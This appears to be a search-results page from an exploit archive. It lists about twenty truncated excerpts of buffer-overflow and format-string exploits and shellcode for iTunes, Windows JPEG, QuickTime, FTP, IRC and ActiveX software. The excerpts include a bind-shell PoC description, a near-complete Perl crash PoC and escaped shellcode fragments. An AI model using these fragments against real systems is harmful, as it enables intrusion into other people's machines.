7549 matches found
Apple iTunes Playlist Local Parsing Buffer Overflow Exploit
No description provided by source. / PoC for iTunes on OS X 10.3.7 - [email protected] - Generates a .pls file, when loaded in iTunes it binds a shell to port 4444. Shellcode contains no \x00 or \x0a's. sample output: -nemo@gir:$ ./fm-eyetewnz foo.pls - fm-eyetewnz - - [email protected] -...
linux/mips execve /bin/sh 56 bytes
No description provided by source. / 56 bytes execve /bin/sh shellcode - linux-mipsel - by core [email protected] Note: For MIPS running in little-endian mode. Tested on a Cobalt Qube2 server running Linux 2.4.18 Greetz to bighawk... i couldn't get his execve to work for some reason :/ / char code ...
MS Windows JPEG Processing Buffer Overrun Exploit (MS04-028)
No description provided by source. !/bin/sh The JPEG vuln is triggered by the 0 or 1 length field with an integer flaw The crafted JPEG header makes Windows crash a couple of different ways 1 First, it crashes when the image is opened. 2 Second, it crashes when hovering the mouse over the image...
linux/amd64 connect-back semi-stealth shellcode 88+ bytes
No description provided by source. include sys/socket.h include netinet/in.h include arpa/inet.h include stdlib.h include stdio.h include string.h include limits.h / usual rant here.. this is just a doodle.. i was curious about the amd64 and since i dont think a simple exec /bin/sh is worth...
Apple Safari QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow
Apple Safari QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow !/usr/bin/perl quickbite.pl Safari + Quicktime 8080; $shellcode =...
Alibaba's Alipay controls exploit research-vulnerability warning-the black bar safety net
About Alibaba Alipay controls vulnerability, the network is also controversial. Some say that vulnerability exists, and some say does not exist, give me also don't know the letter who. However, no investigation has no say, or let our own go looking for the answer to the question. We first take a...
Alt-N SecurityGateway 1.00-1.01 Remote Stack Overflow Exploit
Exploit for unknown platform in category remote exploits ============================================================= Alt-N SecurityGateway 1.00-1.01 Remote Stack Overflow Exploit ============================================================= / Dreatica-FXP crew...
Alt-N SecurityGateway 1.00-1.01 - Remote Stack Overflow
/ Dreatica-FXP crew ---------------------------------------- Target : Alt-N SecurityGateway v1.00-1.01 ---------------------------------------- Exploit : Alt-N SecurityGateway v1.00-1.01 Remote Stack Overflow Exploit Exploit date : 11.06.2008-14.06.2008 Exploit writer : Heretic2 [email protected]...
Dana IRC 1.3 - Remote Buffer Overflow (PoC)
Dana IRC 1.3 - Remote Buffer Overflow PoC - Dana IRC new Proto = 'tcp', LocalPort = '6667', Listen = SOMAXCONN, Reuse = 1 ; $jnk = "%n"x1000; print "Running.."; while$client = $sock-accept print $client "$jnk\r\n"; print "Crashed Client!\n"; milw0rm.com 2008-06-14...
Dana IRC 1.3 - Remote Buffer Overflow (PoC)
Dana IRC new Proto = 'tcp', LocalPort = '6667', Listen = SOMAXCONN, Reuse = 1 ; $jnk = "%n"x1000; print "Running.."; while$client = $sock-accept print $client "$jnk\r\n"; print "Crashed Client!\n"; milw0rm.com 2008-06-14...
muvee-overflow.txt
//completely ripped from a rgod exploit //add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...
blackicebianno2-overflow.txt
------------------------------------------------------------------------------ Black Ice Software Annotation Plugin BiAnno.ocx Remote Buffer Overflow 2 url: http://www.blackice.com File : BiAnno.ocx Ver. : 10.9.5.0 CLSID: B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A Mark.: RegKey Safe for Script: True...
The Flash vulnerability used in shellcode analysis-vulnerability warning-the black bar safety net
Title: 【original】flash vulnerability used in shellcode analysis Author: Regulus small Cong Time: 2008-06-02,1 9:2 9 Links: http://bbs.pediy.com/showthread.php?t=65907 Author home page: http://hi.baidu.com/yicong2007 The purpose: purely to learn, do not for malicious purposes In recent days flash...
Golden FTP Server Pro 2.52 Remote Buffer Overflow Exploit
No description provided by source. / Golden FTP Server Pro Remote Buffer Overflow Exploit Bug Discovered by Reed Arvin http://reedarvin.thearvins.com Exploit coded By ATmaCA Web: atmacasoft.com && spyinstructors.com E-Mail: [email protected] Credit to kozan and metasploit Usage:exploit targetOs...
Black Ice Software Inc Barcode SDK (BITiff.ocx) Remote BOF Exploit (2)
No description provided by source. Black Ice Software Inc Barcode SDK BITiff.ocx Remote Buffer Overflow url: http://www.blackice.com File : BITiff.ocx Ver. : 10.9.3.0 CLSID: 2324B5B7-D3EF-464C-BB35-06EFF8F11EB3 Mark.: RegKey Safe for Script: True RegKey Safe for Init: True...
MySQL MaxDB Webtool <= 7.5.00.23 Remote Stack Overflow Exploit
No description provided by source. / MySQL MaxDB Webtool Remote Stack Overflow Exploit cybertronicatgmxdotnet 04/27/2005 / / / / / / / / / / / / / / / / / / / // // / // / / / / // / / // / / / / / / /, /./// // // //// // -- exploit by : cybertronic - cybertronicatgmxdotnet -- select...
Ethereal 0.10.0-0.10.2 IGAP Overflow Remote Root Exploit
No description provided by source. / THE EYE ON SECURITY RESEARCH GROUP - INDIA Ethereal IGAP Dissector Message Overflow Remote Root exploit Copyright 2004 - EOS-India Group Authors note: Shellcode splitting technique: Due to difficulty involved while following normal exploitation techniques due ...
LibPNG Graphics Library Remote Buffer Overflow Exploit
No description provided by source. / exploit for libpng, tested on version 1.2.5 infamous42md AT hotpop DOT com shouts to mitakeet hope u patched :D n00batlocalho.outernet ./po Usage: ./po retaddr outfile ...
Subversion 1.0.2 svn_time_from_cstring() Remote Exploit
No description provided by source. / subversion-1.0.2 exploit by Gyan Chawdhary ... exploits a stack overflow in the svntimefromcstring function. We build a date format which is valid but at the same time exits after the sscanf function, or else it branches into another function which segfaults a...
SHOUTcast DNAS/Linux 1.9.4 Format String Remote Exploit
No description provided by source. / SHOUTcast DNAS/Linux v1.9.4 format string remote exploit / / Damian Put [email protected] Cyber-Crime Team www.CC-Team.org / / Tested on slackware 9.1 and 10.0 0xbf3feee0 / / When exploit only crash SHOUTcast we should calculate new address: / / / / bash-2.05b...